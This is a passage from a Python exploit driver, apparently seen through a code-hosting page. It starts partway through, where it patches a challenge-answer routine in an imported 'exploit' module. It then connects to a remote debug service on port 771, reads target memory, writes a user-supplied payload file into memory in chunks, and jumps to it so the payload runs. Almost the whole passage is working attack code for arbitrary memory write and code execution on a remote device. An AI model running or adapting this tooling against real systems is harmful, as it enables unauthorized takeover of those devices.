||||
return _orig_answer(self, challenge_bytes)
|
||||
|
||||
|
||||
exploit.RDebug.answer_challenge = _answer
|
||||
|
||||
|
||||
def main(argv: list[str]) -> int:
|
||||
ap = argparse.ArgumentParser(description=__doc__,
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||
ap.add_argument("--host", default="192.168.99.2")
|
||||
ap.add_argument("--port", type=int, default=771)
|
||||
ap.add_argument("--timeout", type=float, default=8.0)
|
||||
ap.add_argument("--verbose", action="store_true")
|
||||
ap.add_argument("--liveness", type=int, default=7)
|
||||
ap.add_argument("--poke-file", type=exploit.parse_int)
|
||||
ap.add_argument("--file")
|
||||
ap.add_argument("--poke-chunk", type=int, default=exploit.MAX_XFER)
|
||||
ap.add_argument("--jump", type=exploit.parse_int)
|
||||
ap.add_argument("--arg", type=exploit.parse_int, action="append", default=[])
|
||||
ap.add_argument("--peek", type=exploit.parse_int)
|
||||
ap.add_argument("--len", type=int, default=8)
|
||||
ap.add_argument("--settle", type=float, default=2.0,
|
||||
help="seconds to wait after jump so the payload can run")
|
||||
a = ap.parse_args(argv[1:])
|
||||
|
||||
rd = exploit.RDebug(a.host, a.port, a.timeout, a.verbose)
|
||||
try:
|
||||
rd.connect()
|
||||
flag, payload = rd.liveness(a.liveness)
|
||||
print(f"opcode {a.liveness} -> flag={flag:#04x} payload={payload.hex(' ')}"
|
||||
f" ({payload!r})")
|
||||
if rd.challenge_raw is None:
|
||||
print("error: no challenge was seen", file=sys.stderr)
|
||||
return 2
|
||||
if a.peek is not None:
|
||||
print(f"peek {a.peek:#010x} ({a.len}) -> "
|
||||
f"{rd.peek(a.peek, a.len).hex(' ')}")
|
||||
if a.poke_file is not None:
|
||||
if not a.file:
|
||||
print("error: --poke-file needs --file", file=sys.stderr)
|
||||
return 2
|
||||
data = open(a.file, "rb").read()
|
||||
off = 0
|
||||
while off < len(data):
|
||||
chunk = data[off:off + a.poke_chunk]
|
||||
rd.poke(a.poke_file + off * 8, chunk)
|
||||
off += len(chunk)
|
||||
print(f"poke-file {a.file}: {len(data)} bytes at "
|
||||
f"{a.poke_file:#010x}: ok")
|
||||
if a.jump is not None:
|
||||
rd.jump(a.jump, a.arg, wait=False)
|
||||
print(f"jump {a.jump:#010x}: sent")
|
||||
time.sleep(a.settle)
|
||||
return 0
|
||||
except (OSError, exploit.ProtocolError, ValueError) as exc:
|
||||
print(f"error: {exc}", file=sys.stderr)
|
||||
return 2
|
||||
finally:
|
||||
rd.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main(sys.argv))
|
||||
Reference in new issue
Block a user